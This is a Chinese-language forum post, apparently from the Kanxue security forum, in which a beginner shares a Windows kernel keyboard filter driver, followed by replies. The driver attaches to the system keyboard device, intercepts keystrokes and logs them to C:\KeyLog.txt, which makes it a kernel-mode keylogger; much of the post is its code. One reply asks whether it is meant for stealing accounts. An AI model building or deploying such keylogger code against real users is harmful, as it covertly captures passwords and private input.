首页
社区
课程
招聘
[分享]一个小键盘过滤驱动
发表于: 2009-11-13 19:08 14953

[分享]一个小键盘过滤驱动

2009-11-13 19:08
14953

大家好,前一段时间看《Windows驱动开发技术详解》,现在总算是看的差不多了,所以就选了个比较简单的东西来做下。呵呵,第一次写大家别见笑哈(话说我这是边参考边写的,自己单独写对我来说太难了,对我来说主要是练出写的感觉,以后估计就会好多了,大家别见怪哈。。。)

总体思路就是在系统的键盘设备上(也就是\Device\KeyboardClass0上)挂接一个我们自己创建的设备对象,这样当我们击键的时候,由于IRP是自上向下的,所以我们创建的设备首先会截到IRP_MJ_READ,我们取这个IRP中相关的按键信息,然后根据makecode用switch判断击了哪个键,然后我们记录进一个Buffer,最后用ZwWriteFile写进刚刚创建过的文件。(这里有些资料上有更好的办法,有一个是用ConvertScanCodeToKeyCode,但是我搞不定,所以就用了一个比较笨的办法。。。

1.DriverEntry函数
这个函数主要做一些初始化的工作,ZwCreateFile也是在这个函数中实现的。
(1)设置派遣例程
  for(int i=0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
  {
    DriverObject->MajorFunction[i]=Dispatch;
  }
  DriverObject->MajorFunction[IRP_MJ_CREATE]=
  DriverObject->MajorFunction[IRP_MJ_CLOSE]=CreateClose;
  DriverObject->MajorFunction[IRP_MJ_READ]=Dispatched;

(2)驱动程序attach到系统的键盘设备上。
targetdevice=IoAttachDeviceToDeviceStack(mydevice,device);

(3) 创建一个线程,用于记录击键行为。
InitThreadKeyLogger(pDriverObject);

(4)ZwCreateFile部分。
  UNICODE_STRING textname;
  RtlInitUnicodeString(&textname,L"\\??\\C:\\KeyLog.txt");
  OBJECT_ATTRIBUTES ObjectAttributes;
  InitializeObjectAttributes (&ObjectAttributes,&textname,OBJ_CASE_INSENSITIVE,NULL,NULL);

  IO_STATUS_BLOCK StatusBlock;
  status=ZwCreateFile(&pDevExt->hLogFile,GENERIC_WRITE,&ObjectAttributes,&StatusBlock,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);

2.派遣例程
派遣函数主要就两个,一个是不处理直接传给下层的,一个是处理截获的
(1)不处理Dispatch:

IoSkipCurrentIrpStackLocation(pIrp);
return   IoCallDriver(targetdevice,Irp);

(2)处理Dispatched:

IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine(pIrp,OnReadCompletion,deviceObject,TRUE,TRUE,TRUE);
return IoCallDriver(targetdevice,Irp);
3.在Dispatched里设置了个完成例程,但按键完成后,IRP返回STATUS_SUCCESS。这时我们就可以获取我们想要的按键信息。
  if(Irp->IoStatus.Status==STATUS_SUCCESS) //检查IRP的状态,如果是STATUS_SUCCESS则说明IRP已经记录了击键数据。
  {
    key=(PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
    numKeys=Irp->IoStatus.Information/sizeof(PKEYBOARD_INPUT_DATA);
    for(int i=0;i<numKeys;i++) //用for循环从每个成员中获取击键动作
    {
      if(key->Flags==KEY_MAKE && key->MakeCode)
      {
        KdPrint(("Scan MakeCode:%x\n",key->MakeCode));
      
      //分配一些NonPagedPool内存,并将扫描码放入其中,然后将其置入全局链表中。
      KEY_DATA* kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
      kData->KeyData=key->MakeCode;//把扫描码插进链表以写入文件.
      kData->KeyFlags=key->Flags;

      KdPrint(("Add Irp to the queue."));
      ExInterlockedInsertTailList(&pdx->List,&kData->ListEntry,&pdx->Lock);

      //Semaphore
      KeReleaseSemaphore(&pdx->Semaphore,0,1,FALSE);//信号灯加1.
      }
    }
  }
这样写日志线程就可以工作了。

4.滤驱动attach到系统键盘设备上

(1)创建过滤设备

status=IoCreateDevice(DriverObject,sizeof(DEVICE_EXTENSION),&DeviceName1,device->DeviceType,device->Characteristics,TRUE,&mydevice);
PDEVICE_EXTENSION pDevExt=(PDEVICE_EXTENSION)mydevice->DeviceExtension;
pDevExt->pDevice=mydevice;
pDevExt->ustrDeviceName=DeviceName1;
pDevExt->uIrpPendingCount=0;

(2)将过滤驱动attach到底层键盘设备上

targetdevice=IoAttachDeviceToDeviceStack(mydevice,device);
mydevice->DeviceType=targetdevice->DeviceType;
mydevice->Characteristics=targetdevice->Characteristics;
mydevice->Flags &= ~DO_DEVICE_INITIALIZING;
mydevice->Flags |= (targetdevice->Flags &(DO_DIRECT_IO | DO_BUFFERED_IO));

这样过滤驱动的挂载就完成了,下面就可以过滤所有的键盘操作了。接下来是创建一个用于写日志的线程。

5. 创建线程,执行写日志操作

调用PsCreateSystemThread创建线程、根据线程句柄获得线程对象。
NTSTATUS Status=PsCreateSystemThread(&hThread,(ACCESS_MASK)0L,NULL,NULL,NULL,ThreadKeyLogger,pDevExt);
status=ObReferenceObjectByHandle(hThread,THREAD_ALL_ACCESS,NULL,KernelMode,(PVOID *)&pDevExt->pThreadObj,NULL);

6. ThreadKeyLogger系统线程

  while(b)//good idea.   use semaphore and KeWaitForSingleObject do the IRP job.
  {
    KeWaitForSingleObject(&pDevExt->Semaphore,Executive,KernelMode,FALSE,NULL);
    pListEntry=ExInterlockedRemoveHeadList(&pDevExt->List,&pDevExt->Lock);
    if(pDevExt->bThreadTerminate)
    {
      PsTerminateSystemThread(STATUS_SUCCESS);
    }
      kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);

      //字符串乱码问题,  初始化的问题
      ANSI_STRING keys;
        switch(kData->KeyData)
        {
          case 0x1:
            RtlInitAnsiString(&keys,"ESC");
            KdPrint(("ESC 键被按下"));
            break;
............
        IO_STATUS_BLOCK io_status;
        NTSTATUS status=ZwWriteFile(pDevExt->hLogFile,NULL,NULL,NULL,&io_status,keys.Buffer,keys.Length,NULL,NULL);
        if(status!=STATUS_SUCCESS)  
        {
          KdPrint(("Writing..."));
        }
        else   
        {
          KdPrint(("Scan code '%s' successfully written to file.\n",keys.Buffer));
        }
  }}

6.卸载例程

IoDetachDevice(pDevObj);
pDevExt->bAttached=FALSE;
pDevExt->bThreadTerminate=TRUE;
PDEVICE_EXTENSION pDevExt1=(PDEVICE_EXTENSION)mydevice->DeviceExtension;

        LARGE_INTEGER timeout;
        timeout.QuadPart=10000000;
        KeInitializeTimer(&pDevExt1->kTimer);

       
        while(pDevExt1->uIrpPendingCount>0)
        {
                KeSetTimer(&pDevExt1->kTimer,timeout,NULL);
                KeWaitForSingleObject(&pDevExt1->kTimer,Executive,KernelMode,FALSE,NULL);
        }

        ULONG ul=KeReleaseSemaphore(&pDevExt1->Semaphore,0,1,TRUE);
        status=KeWaitForSingleObject(&pDevExt1->pThreadObj,Executive,KernelMode,FALSE,NULL);
        status=KeCancelTimer(&pDevExt1->kTimer);

NTSTATUS status=ZwClose(pDevExt1->hLogFile);//notice whose device...
  
status=IoDeleteSymbolicLink(&pDevExt1->ustrSymLinkName);
IoDeleteDevice(mydevice);

至此,驱动部分就已经完成了。下面是一些调试方面遇到的问题,在这里给大家看下,大家如果以后遇到可以有个借鉴哈。当然只是给菜鸟了,呵呵,牛人就直接飘过哈。

(1)STRING或ANSI_STRING或UNICODE_STRING的结构,它是由ntdef.h头文件定义的。摘抄如下:

typedef struct _STRING {
    USHORT Length;
    USHORT MaximumLength;
#ifdef MIDL_PASS
    [size_is(MaximumLength), length_is(Length) ]
#endif // MIDL_PASS
    PCHAR Buffer;
} STRING;

因此使用缓冲区的时候,不能直接用STRING等,而应是string.Buffer,同时注意Buffer已经是指针类型,因此前面不可再加&.否则ZwWriteFile后文件显示的是乱码。

(2)读取键盘输入的字符,应使用链表,同时用SpinLock,和Semaphore实现同步。以免发生异常。

(3)系统线程中while(true)的实现需要配合KeWaitForSingleObject,否则将会导致系统死机。KeWaitForSingleObject等待Semaphore,而信号灯Semaphore则随着键盘的输入释放,而这个线程在卸载例程的时候用PsTerminateSystemThread结束掉,实现了键盘输入,线程恢复,记录,系统再次休眠等待键盘的再次输入。

这是我第一次写驱动,写的不好或哪里有错的请大家指点。谢谢了。

这里是这个程序的源代码,VS2008+DDKWizard编译通过。


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (14)
雪    币: 88
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
占沙发 ,顶一个,不错不错!!!!!!!!
2009-11-13 19:16
0
雪    币: 370
活跃值: (52)
能力值: ( LV13,RANK:350 )
在线值:
发帖
回帖
粉丝
3
恩 学习了 进步蛮大的嘛 加油了
等着完善
2009-11-14 16:10
0
雪    币: 49
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
卸载方面好使么?
2009-11-14 17:09
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
5
支持一下吹风生兄弟,呵呵
2009-11-14 17:23
0
雪    币: 390
活跃值: (15)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
6
恩,卸载方面修改完毕。谢谢大家了。
2009-11-14 23:10
0
雪    币: 34
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
怎么样效果如何?
2010-3-4 07:32
0
雪    币: 41
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
顶一个,不错不错!!!!!!!!
2010-3-4 17:39
0
雪    币: 53
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
很适合我参考 谢了
2010-3-5 20:26
0
雪    币: 124
活跃值: (43)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
10
支持 好东西  收下了
2010-3-15 16:06
0
雪    币: 283
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
支持一下,很不错
2010-3-17 15:13
0
雪    币: 203
活跃值: (45)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
下下来参考下,支持。。。
2010-4-25 22:42
0
雪    币: 114
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
像我等菜鸟只能支持你了
2010-5-7 07:57
0
雪    币: 132
活跃值: (30)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
14
过滤滴意思是 记录键盘输入是不?

这个玩意儿就是盗号用滴是吧?
2010-10-28 04:42
0
雪    币: 256
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
朋友  你的代码 貌似编译不过去啊

unresolved external symbol __imp__KeGetCurrentIrql@0 referenced in function "void __stdcall ThreadKeyLogger(void *)" (?ThreadKeyLogger@@YGXPAX@Z)
2010-12-29 15:15
0
游客
登录 | 注册 方可回帖
返回
//